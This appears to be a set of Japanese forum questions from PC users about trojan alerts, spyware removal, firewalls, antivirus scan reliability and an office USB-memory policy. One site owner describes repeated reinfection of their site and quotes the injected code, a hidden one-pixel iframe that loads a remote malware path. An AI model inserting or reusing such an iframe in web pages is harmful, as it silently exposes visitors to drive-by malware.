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今日インターネットをしていて、 URLをクリックしたらソフトダウンロードの表示が出て（保存、開く、キャンセル） どこかのサイトにつながると思っていた私は、キャンセルをクリックしたのですが、 PCに入れていたavast４が、「トロイの木馬を検知しました」とアラームが鳴りました。 前置きが長くなりましたが、要点をまとめると ・導入していたウィルスソフトは、avast４． ・ネットワークを切断しますか？と聞かれ、「はい」と答えたが 　メッセンジャーが立ち上がったままになっているのに気づき、回線を抜きま　した。 ・チェストに移動するのを忘れたので、完全スキャンをしました。 ・検索する際、avastを立ち上げた時に「感染したファイル１つ」 　「ＵＲＬのようなもの」が表示されていました。 ・スキャン中に、インターネット一時ファイルのクッキーとファイル（オフラ　イン含む）履歴を削除しました。 ・検索結果は、感染したファイルはありませんでした。 　おかしいと思ってもう一度avastを立ち上げましたが、先ほど表示さ　れていた、感染したファイル１つと、URLが消えていました。 　今は2度目の検査中です。 ・一応念のために回線は抜いてあります。 この場合、トロイの木馬は駆除できたのでしょうか？？ ほかに何かやっておいたほうがよいのでしょうか？？ ディスククリーンアップやディスクデフラグ、システムの復元の無効化をやっておいたほうが良いと書かれているところもありましたが、どうなんでしょうか？？ システムの無効化は http://esupport.trendmicro.co.jp/supportjp/viewxml.do?ContentID=jp-24006 のサイトが紹介されていましたが、 コントロールパネルから私のPCではシステムにいけません。 スタート→すべてのプログラム→アクセサリ→システムツール→ システムの復元は行くことがでいますが、無効化がどれなのかわかりません。。 PCにあまり詳しくないので分かりやすく教えていただけるとありがたいです。

最近ちょっと話題になっているボットウィルスについて教えてください。 ウィルス対策にはActiveVirusShieldを使っています。 スパイウェア対策にはSpyBotとAD-Awareで時々チェック、SpywareBlasterも使っています。 ブラウザはOperaとFirefox、メーラーもThunderbirdにしています。 ボットウィルスは、AVSでは発見・駆除できないものでしょうか？ SpyBotやAD-Awareでも見つけられないものでしょうか？ SpywareBlasterでもブロックできないものでしょうか？ やはり総務省のサイバークリーンなんとかの駆除ソフトを使う以外、方法はないのでしょうか？ 教えてください。よろしくお願いします。

数日前に自分のサイトがウイルスに感染しました。 サーバからデータを全消去・パソコンを再インストール後、サイトを再アップロード。 そのバックアップは感染の半月以上前にメディアに取ってあった物で、アップロード前にはカスペルスキーでファイルをスキャンしてみましたが何も出ず。 が、数時間後にサイトにアクセスするとまた感染を検出されます。 感染したサイトのインデックスファイルは、毎回bodyタグの後に↓のようなタグが勝手に書き加えられているのですが… ＜iframe src='ｈｔｔｐ://quickcnt.com/ld/axhst/' width='1' height='1' style='visibility: hidden;'＞＜/iframe＞ 本当は全部半角です。 サイトのデータがファイルスキャンで引っ掛からない何かに感染しているのでしょうか。それとも、他に何か原因があるのでしょうか？

サポート担当者に連絡してくださいというメッセージがでます

TROJAN-DOWNLOADER.WIN32.SMALL.acwというものに 感染しているらしく、ウィルスチェックしても、 隔離できません。どこに連絡していいのかわかりません。 ウィルスセキュリティーも電話サポートもつながらないし、 メールサポートなど、どこに連絡先がでているのかわかりません。 ウィルスに感染した場合のサポート　サービス。 駆除の方法、おしえてください。

先ほど何もしていないのに突然パソコンが再起動してしまいびっくりしてしまいました。そして「K7 Firewall (K7Sentry.sys) が原因で発生した問題」というメッセージが出てきました。 何が原因なのでしょうか？ 初心者でも分かる言葉でおしえてください。なにしろ専門用語はまだちょっとむずかしいてので・・・・

パソコン初心者です。 他の方の質問と回答を参照させていただいても、さっぱり分からなかったので質問します。 先月、パソコンが壊れて友人に直してもらった時に、 「無料のウィルス対策ソフトがあるから」と言われて、 『ＳｐｙＢｏｔ』をインストールしてもらいました…が、 これってパソコンの電源を入れるたびに起動するんですね…。 作業を行うまえに「デスクトップの表示」アイコンをクリックして、 『ＳｐｙＢｏｔ』の表示を消しているのですが、 これって、だめなのでしょうか？ 検索が終わるまで、いちいち３０～４０分間待ってから、作業しなければいけないのでしょうか？ それと…。 『Adaware』って、何ですか？

最近スパイウェアが沢山入ってしまいインターネットをしていてもすぐに画面を変えられてしまい思うようにパソコンができなくて困っています・・・ なのでスパイウェア対策にいいフリーソフトはないでしょうか？ Spybot - Search & Destroyはダウンロードしているんですがいくらアップデートしてもスパイウェアが残ってしまいます・・・。 回答お願いします・・・。

トレンドマイクロオンラインスキャン(ウィルス) ttp://housecall.antivirus.com/housecall/start_jp.asp?i=big zonealarm spywarescanner(スパイウェア) ttp://www.zonealarm.com/store/content/promotions/spywarescanner/index.jsp?lang=ja&ctry=JP&dc=90dia&lid=jp_home_scan この二つのサイトのスキャン結果の信憑性はどれくらいのものなんでしょうか？

Vista にウィルスバスター2007を使っています。 Windows defenderは無効にしてます。 「Windowsファイアーウォール」と「ウィルスバスターのパーソナルファイアーウォール」が有効になっています。この２つは競合してしまうので、Windowsファイアーウォールは無効にしたほうがよいのでしょうか？

はじめまして。ＰＣの知識は初心者に近い者です。 疑問がありまして、質問させていただきたいと思います。 Yahoo!の検索サイトを開いた所、左上の画面にYahooの「新しいツールバーをインストールしますか？」というような画面が出て、（すみません！正確には覚えてません） 最初は何度も×を押していたのですが、押しても押しても出てきたので インストールしてしまいました。浅はかでした。。 そうした所、確かにYahooのツールバーは表示されたのですが、 「トロイの木馬を検出し、削除しました」という警告が出ました。 これはどういう意味なのでしょう？偽の情報だったのでしょうか。 その後プログラムの追加と削除で一応削除し、Yahooのサイトから再度無料ツールバーをダウンロードした所、同じ結果になりました。 ウイルス対策ソフトは、期限が一月ほど切れてしまっている(汗) マカフィーを使っていて、マカフィーでトロイを検出しました。 WinXPです。 いったいなんだったのでしょうか？トロイはちゃんと削除されているのかとても不安です。 お力添いをお願い致します。

先日、ワードで文章を作成していたところ、 いきなり、ワードがタイトルのアドレスに向けて 何かの通信を始めようとしました。 (Outpostというファイアウォールで判明) そのサイトに言ってみても、アクセス拒否されて 中には入れないようでした。 Microsoftとは全く関係のないページのようです。 みなさんこれはどういう現象だと思われますか？ まさかスパイウェアという仕業でしょうか？

お世話になります。 今回、社内の別のパソコンでウイルス感染が発覚し、それに関連した パソコンについてウイルスチェック（のみ）を行いたいと思うのですが、 オフライン状態で行うことができるかどうかを検討しています。 トレンドマイクロやシマンテック等で、無償でウイルス診断を行う サービスがありますが、これについてはWEB上からオンラインで ActiveXをインストールして行っているかと思います。 しかし、対象のパソコンはネットワークに接続できない環境のため、 理想としては上記の環境をダウンロードして、これをオフラインで 使用できればと思うのですが、はたしてこれは可能なのでしょうか？ または他の手段を使って、ネットに接続できないパソコンに対して 最新パターンでのウイルス診断を行う手段があれば教えて頂けない でしょうか？ ウイルス対策ソフトを購入すればいいのでしょうが、 今回は暫定的な対応として考えているため費用もありません。 （状況を知るため、あくまでチェックのみでOKです） 以上、よろしくお願いします。

掲示板で使えるフリーソフトなる物がが紹介されており ダウンロードし、解凍したところ フォルダの中にビデオクリップというものが入っていて それを展開したところ最初は何もないと思ったのですが 次々とHDDに録画してあった動画やMP3ファイルなどが ビットマップファイルになってしまいました。 ビットマップになってない動画は大丈夫だろうと思い 再生しようとしたところ「内部アプリケーションエラー」と表示され 再生できません。 さらに、デスクトップにあるソフトを起動しようとしても 「探しています」となり使える気配もありません。 迂闊に解凍した私が悪いのですが、何か対策をご教授願えないでしょうか？ ファイルが元通りになれば尚嬉しいのですが・・・

　どうしてだか、まったく分からないのですが、自分のアドレスを打ち込むと「MSNのシステムに問題が発生し---------、となって終了してしまいます。 　Offis XP Servics PacK3をダウンロードしなさいと表示がでるのですが、さっぱり分かりません。 　よろしく、お願いいたします。

　現在、sygate personal firewall freeバージョンを使用しているのですが、リークテストの結果を見るとかなり低い（VeryPoor)ようです。アウトバウンドの性能をあらわしていると思うのですが詳しくは分かりません。ただ、やはりリークテストの結果がいいほどいいとは思うので少し気になり質問させていただきました。 www.matousec.com/projects/windows-personal-firewall-analysis/leak-tests-results.php 　 　真ん中あたりにランキングが載っているのですが、これを見る限り私が使用しているFWはかなり下に位置しています。上位は結構有名なソフトであるZoneAlarmProやカスペルスキーインターネットセキュリティが見られます。このリークテストはどのくらいセキュリティに差があるのでしょうか？。うまく言葉で説明できないのですが、このランキングのVeryPoorと、VeryGoodではどのくらいセキュリティに差があるのでしょうか？。個人でサーバーを立てないで使用する場合、企業で使う場合、自宅サーバーを立てる場合などがありますが、やはり企業や自宅サーバーを使う場合は、リークテストが高い方がいいのでしょうか？。また、逆に自宅でサーバーを立てないで使用する場合は、特にリークテストの結果は気にしなくてもあまり問題にはならないのでしょうか？。ちなみに私自身自宅でサーバーは立てていません。 　というのも、ZoneAlarmを紹介しているHPを見ると、自宅で個人で使用する場合はフリーで十分などの書き込みなど見られ、また色々HPを見て回っても個人で利用する限りはこれで（ZoneAlarmフリーで）十分などの書き込みが多く見られるのです。自宅など個人で使用する場合はZoneAlarmのフリーやSygateフリーバージョンでも十分らしいので、リークテストがあまり重要になっていない？と思うのです。企業などで使う場合は、例えばZoneAlarmのPro版や他の有料の強力なFW製品を進めていることから、個人で使う場合はリークテストの結果が特に重要じゃないのかな、と思いました。 　分かりにくくてすみません。この辺の回答、特に自宅で個人使用する場合のリークテストの重要性について回答お願いします。

IEを起動しようとすると「オフラインでは使用できないwebページウィンドウ」となり、このページを表示するには「接続」をクリックしろと言うのでクリック。すると「ダイアルアップ接続ウィンドウ」で接続先はXXXX（既定）ユーザー名とパスワードは空白のまま「接続」をクリックすると、「ダイアルしています。発信音がありません。モデムがコンピュータと電話線に接続されていないかどうかを確認して下さい。」となります。PCはもう一台、ローカル接続していないのがありますがそちらのPCはいつもIE正常です。その現象はいつもではなく、IEを一旦終了後PCの電源をいれたまま長く離れていて、IEを再開しようとするとなるような気がします。当方、接続関係全く無知と言えますが・・・・・

最近パソコンの調子が悪く、ウィルス対策を色々施したのですがまだ少し改善できない症状があります。 その時友人が、「検索されないウィルスにやられてるんじゃない？」と言いました。現在自分のPCに「マカフィー」、「Ad-Aware SE 」、「Spybot - Search & Destroy」、「PC-Clean」の4つのソフトを入れてあります。 マカフィー以外はフリーソフトですが、かなりメジャーなものだと思います。実際この4つのソフトで検索されないウィルスなんてあるのでしょうか？また、あるとすればどのような対処方をてれば良いでしょうか。ご存知の方いらっしゃいましたら、ご教授の方よろしくお願い申し上げます。

WINDOWS XPです。コンセントが外れてるのに気づかず、ソフトウエアのインストール中にバッテリーが切れてしまいました。以降ＯＳが、メーカーＬＯＧＯ→Windowsロゴ（ロゴの下で青い点が左から右に動く画面）→青画面にWindowsロゴ（左上に太陽のような円模様のある画面）でそれ以上進まなくなりました。ポインタもキーボードも受け付けてくれますが、一向にディスクトップに移行してくれません。大切なデータも入っておりますが、なんとか起動を・・・是非良きアドバイスを。

　仕事の延長で会社・仕事用のデーターをUSBメモリで持ち帰り、家で編集、アレンジをして、再度会社で活用をしていた者です。 　自宅の2台のＰＣにはウィルス対策としてavastとノートンを入れていました。先頃、会社のＰＣが現行スペックのDELLマシン（セレロンD３GHz) に更新され、自宅で作成したエクセル２０００ファイルを読み込むと、会社のＰＣはウィルス感染ファイルと認識してしまいました。 それまでは会社のＰＣはセレロン１GHz前後の旧世代のマシンでエクセルバージョンも２０００でした。会社のウィルスソフトは旧マシンも更新されたマシンもウィルスバスターです。エクセルは２００２バージョンに更新されました。OSはW２０００からXPプロに更新されました。 　本来、会社のデーターをUSBデバイスで取り出すことは禁止されておりますが、必要上、やむ得ず、職場上司と内々に了解の上、やっていましたが、ＰＣ更新のせいで、ウィルス感染源として、会社ネットワーク上で摘発され、情報システム部門から厳しいお叱りを受けました。 　私以外にも、このような使い方をしている会社の人も多く、知らずに今まで通り、USBメモリをポートに入れて、ウィルス認識をして情報部門から警告を受けています。 　何故、ウィルスと見なされたのか疑問に思い、自宅のＰＣのavast,ノートン２００６でスキャンを掛けましたが（2台別個）、感染したファイルは無しと判定しました。 　情報部門が言うには、古いエクセルバージョンに付随している、微々たるウィルス（影響は少ない）様に言っています。 　おかげで、仕事に欠かせないファイル等を会社のＰＣで読み込ませることが出来なくなり、困っています。 　新たに会社のＰＣでそのファイルをもう一度、作り直すしかないのですが、他にもやらなければならない仕事もあり、そんな時間はとてもありません。 　自宅のavastやノートンでウィルス認識されなかったエクセル2000ファイルがウィルスバスターでは何故、ウィルスと判定されたのでしょうか?ウィルスバスターのセキュリティレベルが自宅ソフトに比べて、はるかに高いのですか？ 　最近、会社内でのサーバー、ネットワークの障害を構内放送で耳にします。一切の記憶デバイス（FD,USBメモリ、CD-ROM等）をＰＣに読み込ませないよう、厳しい注意を受けました。 　個人レベルと会社レベルのウィルス対策は全く違うのでしょうか?